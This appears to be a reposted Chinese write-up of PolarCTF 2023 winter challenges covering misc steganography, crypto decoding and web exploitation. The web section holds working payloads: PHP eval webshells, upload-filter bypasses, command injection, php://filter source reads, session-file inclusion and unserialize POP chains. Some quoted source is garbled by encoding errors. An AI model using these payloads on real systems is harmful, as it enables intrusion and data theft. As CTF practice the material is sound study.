0


PolarCTF2023冬季个人挑战赛wp含web、misc、crypto

文章目录

misc

misc-签到喵

经典的公众号签到题
发送

  1. 宝宝想要flag

(这个是base64解码得到的结果)到公众号即可


misc-A 宽宽 S 00 E

  1. U2FsdGVkX19d7TPOqeK+yL2btyx2gt4lp2ErgNwLzytzew9Wu7tcVvsR4tqWzGFi 772B6etLclejBUsSwv/hmg==

零宽字节隐写,vim查看隐写字符,然后找个在线网站得到上面的字符
前段是aes字符,emm也没解出来
后来在群里看见群友在聊发现秘钥是sql,好好好,原来附件给的这个sql注入是这么玩的,然后上面的密文要把空格去掉
https://stackoverflow.org.cn/aesencrypt/
base64解码,加上flag{}就是答案


misc-机密

有个流量包,没看出什么东西,直接binwalk
得到个压缩包,直接爆破,1903


misc-社会主义大法好

一开始ARCHPR识别不了这个压缩包,以为伪加密,结果binwalk分离之后也不行,估计文件格式错了,或者我电脑配置的问题,之前我就把winrar卸了,一般有概率遇到这种情况,直接掏出bandzip
后来看群友聊,还得是misc神,我后面拿bandzip也能破,因为正好四位密码,图片里也有,1945,社会主义核心价值观解码

  1. U2FsdGVkX18hXTEdmaHlK9Wa0JuJu4UApkMzMe69xXg8yBK0Fw5q4HtQ5+qK6BCB +WkHQDiIxks=

删去换行符再继续下面的操作
这个字符串的开头还以为是aes,其实不是,是rabbit,秘钥就拿剩下的一个数字,2014。。。。


misc-是uu吗

  1. &,3(S-#4V

题目名字包含uu,推测是uuencode,得到

  1. 123456

,应该是某个压缩包密码
尝试过各种音频隐写,都不对,赛后看讲解视频才发现是steghide,其实这个123456或许能够猜到(???)

  1. steghide extract -sf filename -p 123456

得到flag.txt,再拿去uuencode解码一下

  1. >9FQA9WLV-S$S-S@Y-#8P,C,V-#@W-S@S,C0V.#E]
  1. flag{671378946023648778324689}

misc-EZ签到

binwalk得到H1nt.zip是伪加密,得到一张小猫图片,尝试各类图片隐写,没有用
最后尝试到F5-steg,先把图片拖进去,在这里

  1. java Extract f1ag.jpg

得到一个flag.txt,里面的内容很明显是zip,改后缀,要密码,binwalk一下看是不是伪加密,拿到了flag,可惜是假的。。。。。。掉坑里了
出题人其实给了这个的密码

  1. java Extract f1ag.jpg -p qiandao

得到

  1. nizhenbuhuiyiweizheshiqiandaoba

,是flag压缩包的密码
得到100张图片,进行拼图,发现大小不一,借助PS批量处理,统一修改为40x40,过程可以去B站看讲解官方团队的讲解视频
拼图,借助imagemagick,文件夹cmd,

  1. magick montage *.jpg -tile 10x10 -geometry +0+0 flag.jpg

发现是无序的
再借助gaps复原,图片拖入bin目录下

  1. python3 gaps --image=flag.jpg --size=40 --save

emmmm,卡住了,笨b卡在了安装gaps上了,emmm,giao
但这道题也算是解决了,get到了拼图工具imagemagick跟自动拼图工具gaps,也算有所收获


web

web-cool

system被ban,换passthru
flag被ban,利用通配符*

  1. ?a=passthru('cat f*');

web-phpurl

扫一下,发现

  1. 1.txt

乱码,火狐浏览器ALT->查看->修复乱码,得到一个被加密的文件名

  1. aW5kZXgucGhwcw

,base64解密得到

  1. index.phps

源码:

  1. <?phpif("xxs"===$_GET[sys]){echo("<p>Not a good idea!</p>");exit();}$_GET[sys]=urldecode($_GET[sys]);if($_GET[sys]=="xxs"){echo"<p>Welcome to polar LABS!</p>";echo"<p>Flag: XXXXXXX </p>";}?>

参数sys不能等于xxs,但是经过url编码的sys可以等于xxs,先让浏览器进行转码,%25->%,%78->x,就能实现

  1. ?sys=%2578xs

(emmm,附件的内容其实就是乱码修复后的)


web-cookie欺骗

hackbar,将cookie值改为admin

  1. user=admin

web-干正则

parse_str变量覆盖

  1. ?id=a[0]=www.polarctf.com&cmd=127.0.0.1|cat *

没看见“干正则”,嘿嘿
一开始还找不到flag,F12即可


web-随机值

  1. <?phpclassIndex{private$Polar1=3;private$Polar2=3;protected$Night=3;protected$Light=3;functiongetflag($flag){$Polar2=rand(0,100);if($this->Polar1===$this->Polar2){$Light=rand(0,100);if($this->Night===$this->Light){echo$flag;}}else{echo"Your wrong!!!";}}}$a=newIndex();echourlencode(serialize($a));# O%3A5%3A%22Index%22%3A4%3A%7Bs%3A13%3A%22%00Index%00Polar1%22%3Bi%3A3%3Bs%3A13%3A%22%00Index%00Polar2%22%3Bi%3A3%3Bs%3A8%3A%22%00%2A%00Night%22%3Bi%3A3%3Bs%3A8%3A%22%00%2A%00Light%22%3Bi%3A3%3B%7D

因为php是不能直接给private和protected的变量直接赋值的,所以rand()函数直接废掉,不起作用
又或者变量引用

  1. $a->Polar1=&$a->Polar2;
  2. $a->Night=&$a->Light;

web-upload

  1. $is_upload=false;$msg=null;if(isset($_POST['submit'])){if(file_exists(UPLOAD_PATH)){$deny_ext=array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");$file_name=trim($_FILES['upload_file']['name']);$file_name=str_ireplace($deny_ext,"",$file_name);$temp_file=$_FILES['upload_file']['tmp_name'];$img_path=UPLOAD_PATH.'/'.rand(10000,99999).$file_name;if(move_uploaded_file($temp_file,$img_path)){$is_upload=true;}else{$msg='上传出错!';}}else{$msg=UPLOAD_PATH.'文件夹不存在,请手工创建!';}}

明显双写绕过,将木马文件命名为a.pphphp即可,文件内容

  1. <?php eval($_POST['a']);

上传文件之后,可以F12查看网络,就可以看到文件上传的位置了,再用蚁剑连接即可
(补题发现,秋季那道ezupload,上传GIF文件,再抓包改php后缀,蚁剑,不过我连接的时候,警告返回数据为空??不应该啊)


web-你的马呢?

经典文件上传,注意到URL,可能存在文件包含,发现可以

  1. /etc/passwd

,先读一下源码

  1. url/index.php?file=php://filter/read/convert.base64-encode/resource=upload.php
  1. <?phpif(isset($_FILES['upfile'])){$uploaddir='uploads/';$uploadfile=$uploaddir.basename($_FILES['upfile']['name']);$ext=pathinfo($_FILES['upfile']['name'],PATHINFO_EXTENSION);//检查文件å†
  2. 容
  3. $text=file_get_contents($_FILES['upfile']['tmp_name']);echo$ext;//检查文件后缀if(!preg_match("/ph.|htaccess/i",$ext)){if(preg_match("/<\?php/i",$text)){echo"å˜¿å˜¿å˜¿ï¼Œæƒ³ä¼ é©¬ï¼Ÿä¸å¯èƒ½ï¼<br>";}else{move_uploaded_file($_FILES['upfile']['tmp_name'],$uploadfile);echo"æ­å–œä½ ï¼Œä¸Šä¼ è·¯å¾„<br>路径为:".$uploadfile."<br>";}}else{echo"恶意后缀,试试.jsp呢?<br>";}}?><!DOCTYPE html><html><head><title>ä¸Šä¼ æ–‡ä»¶</title><meta http-equiv="Content-Type" content="text/html; charset=utf-8"/></head><body>
  4. åƒä¸‡åˆ«ä¸Šä¼ php脚本!!!!
  5. <form action="upload.php" method="POST" enctype="multipart/form-data"><input type="file" name="upfile" value=""/><input type="submit" name="submit" value="提交"/></form></body></html>

大致内容是,文件内容不能含<?php标签,文件名后缀不能有ph.和htaccess,等
上传jpg文件,利用短标签

  1. GIF89a
  2. <?=eval($_POST['a']);?>
  1. post: a=system(cat /f*);

web-ezphp

爬虫-> robots.txt

  1. User-agent: *
  2. Disallow: /file
  3. Disallow: /uploads
  4. Disallow: /uploads/images

进入

  1. uploads/upload.php

进行文件上传

  1. /file

告诉我们要传参filename

  1. /uploads/images

查看上传了那些文件
上传木马文件

  1. url/file/file.php?filename=../uploads/images/a.jpg
  1. post:a=system('ls /');

发现

  1. bin dev etc home lib linuxrc media mnt proc root run sbin srv sys tmp usr var

一般是在home或root下

  1. post:a=system('ls /home');

最终

  1. post:a=system('cat /home/webuser/flag');

web-你想逃也逃不掉

PHP反序列化字符逃逸,题目的过滤函数使得字符减少

  1. <?php
  2. /*
  3. https://ytyyds.github.io/ (与本题无关)
  4. */error_reporting(0);highlight_file(__FILE__);functionfilter($string){returnpreg_replace('/phtml|php3|php4|php5|aspx|gif/','',$string);}$user['username']=$_POST['name'];$user['passwd']=$_GET['passwd'];$user['sign']='123456';$ans=filter(serialize($user));if(unserialize($ans)[sign]=="ytyyds"){echofile_get_contents('flag.php');}

本地试验

  1. <?php
  2. functionfilter($string){returnpreg_replace('/phtml|php3|php4|php5|aspx|gif/','',$string);}$user['username']='phtmlphtmlphtmlphtml';$user['passwd']=';s:6:"passwd";s:0:"";s:4:"sign";s:6:"ytyyds";}';$user['sign']='123456';echoserialize($user);echo"\n";echofilter(serialize(($user)));$ans=filter(serialize($user));if(unserialize($ans)[sign]=="ytyyds"){echo"\nsuccess!!!";}# a:3:{s:8:"username";s:20:"phtmlphtmlphtmlphtml";s:6:"passwd";s:46:";s:6:"passwd";s:0:"";s:4:"sign";s:6:"ytyyds";}";s:4:"sign";s:6:"123456";}# a:3:{s:8:"username";s:20:"";s:6:"passwd";s:46:";s:6:"passwd";s:0:"";s:4:"sign";s:6:"ytyyds";}";s:4:"sign";s:6:"123456";}# success!!!
  1. post: name=phtmlphtmlphtmlphtml
  2. get: url/?passwd=;s:6:"passwd";s:0:"";s:4:"sign";s:6:"ytyyds";}
  3. F12查看即可

web-苦海

链子

  1. User::__wakeup()->User::printName()->Surrender::__toString()->FileRobot::__get()->FileRobot::__invoke()->FileRobot::Get_file()
  1. <?phpclassUser{public$name='PolarNight';public$flag='syst3m("rm -rf ./*");';publicfunction__construct(){echo"删库跑路,蹲监狱~";}publicfunctionprintName(){echo$this->name;return'ok';}publicfunction__wakeup(){echo"hi, Welcome to Polar D&N ~ ";$this->printName();}publicfunction__get($cc){echo"give you flag : ".$this->flag;}}classSurrender{private$phone=110;public$promise='遵纪守法,好公民~';publicfunction__construct(){$this->promise='苦海无涯,回头是岸!';return$this->promise;}publicfunction__toString(){return$this->file['filename']->content['title'];}}classFileRobot{public$filename='flag.php';public$path;publicfunction__get($name){$function=$this->path;return$function();}publicfunctionGet_file($file){$hint=base64_encode(file_get_contents($file));echo$hint;}publicfunction__invoke(){$content=$this->Get_file($this->filename);echo$content;}}//User::__wakeup()->User::printName()->Surrender::__toString()->FileRobot::__get()->FileRobot::__invoke()->FileRobot::Get_file()$a=newUser();$a->name=newSurrender();$a->name->file["filename"]=newFileRobot();$a->name->file['filename']->path=newFileRobot();$a->name->file['filename']->path->filename='../flag.php';echourlencode(serialize($a));

flag位置要试,试出在

  1. ../flag.php

web-safe_include

  1. <?phpshow_source(__FILE__);
  2. @session_start();ini_set('open_basedir','/var/www/html/:/tmp/');$sys= @$_SESSION['xxs'];if(isset($_GET['xxs'])){$sys=$_GET['xxs'];}
  3. @include$sys;$_SESSION['xxs']=$sys;

session文件包含

  1. open_basedir

是php.ini中的一个配置选项,它可将用户访问文件的活动范围限制在指定的区域,假设open_basedir=/home/wwwroot/home/web1/:/tmp/,那么通过web1访问服务器的用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。注意用open_basedir指定的限制实际上是前缀,而不是目录名
举例来说: 若"open_basedir = /dir/user", 那么目录 “/dir/user” 和 "/dir/user1"都是可以访问的。所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名

  1. ?xxs=<?php system('cat /flag');?>

保存进session的值并写入session文件
根据sessionID生成session文件,/tmp/sess_sessionID,sessionID一般就是Cookie中PHPSESSID的值,可以通过F12查看网络获得

  1. ?xxs=/tmp/sess_sessionID

进行session文件包含


crypto

crypto-base

密文

  1. j2rXjx8wSZjD

base64换表

  1. GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5

解密即可,得到

  1. flag{666}

crypto-AFF

题目可知是仿射密码
密文

  1. WMPTPTRGGPED
  1. c = (3 * j - 17) % 26

根据代码可知,a=3,b=17
得到

  1. thisisaffine
  1. flag{THISISAFFINE}

crypto-神秘组织M

栅栏密码M型,靠,之前只知道普通的跟W型,其实题目也提示了。。。。

  1. {bc1bg572ec066}a0d2fb137l951b5451f06b7

手工得到

  1. { b c 1 b
  2. g 572 e c 066}
  3. a 0 d 2 f b 137
  4. l 951 b 5451
  5. f 06 b 7
  1. flag{50905d7b2216bfeccb5b41016357176b}

后面看见这个靶场也有一道M型的


crypto-数星星

词频统计,自己先把单词找出来,直接在buuctf做过一道类似的,浪里淘沙?好像是这个,直接把脚本搬过来

  1. content =""list=['tonight','success','favorite','we','example','crypto','should','is','learn','sublim','morning','system','your','word','which','found']
  2. l =[]for each inlist:if each in content:print(content.count(each), each)
  3. l.append((content.count(each), each))
  4. l =sorted(l, reverse=False)
  5. dest =[l[i-1]for i in(3,6,10,12,15)]print(dest)print(''.join([i[1]for i in dest]))# whichisyourfavoriteword# flag{17c5d0278edcbad3d061a92b723c116d}

crypto-不一样的四四方方

  1. jilinjingcha
  2. information
  3. engineering

网上的关于四方密码介绍很多,一般秘钥都是没有j/q/i
但是这道题我们去的是z,附件的给提示

  1. key1:informatbcdeghjklpqsuvwxy
  1. key2:engirabcdfhjklmopqstuvwxy

加密。。。。就很抽象,都说了题目给的是密文,不应该是解密吗??

  1. BDHAHCTLTNMG

这是大写的结果,有的网站是这个
还有就是,有的在线网站跑出来的是小写的结果,md之后就不是flag了,题目又说是md5小写加密。。。。。
md5一下

  1. flag{c6dac3a0f40dfacefcc473585cdeb0f8}

总结:这道题很抽象


crypto-我爱456

  1. kseYvkasuj5618t
  2. lygemfla235158jd
  3. utasvQsjdybl587t
  4. sydwkuhd54kdhg
  5. jtftY658qiwudhs
  6. iaugwjiushyc871
  7. aksQbhasbkjcbkjd
  8. dvbpzd8v26dfv6f
  9. s6dvdNf6v52v6x
  10. 65dT26f5d1b6f5v
  11. 35f2Y6d65bbfv5
  12. 35dfv32d8bfv256d
  13. kdhMvnhdkjzldkj
  14. sdhjTujsdbch268
  15. sdr26Iksds265dsv
  16. jnm2dsnsdv26865

评价:又是一道misc题。。。
456循环,依次提取字符串中的第4,5,6个字符

  1. withopen("提取出只有字符串的文件位置",'r')as f:
  2. a = f.read().split('\n')
  3. flag =''for i inrange(len(a)):if i %3==0:
  4. flag += a[i][3]elif i %3==1:
  5. flag += a[i][4]else:
  6. flag += a[i][5]print(flag)# YmQwYjQzNTY3MTI2

base64得到

  1. bd0b43567126
  1. flag{b5ff0893e6522a037c144a1f502c2b48}


本文转载自: https://blog.csdn.net/weixin_74737443/article/details/134985468
版权归原作者 Day-Bleeds 所有, 如有侵权,请联系我们删除。

“PolarCTF2023冬季个人挑战赛wp含web、misc、crypto”的评论:

还没有评论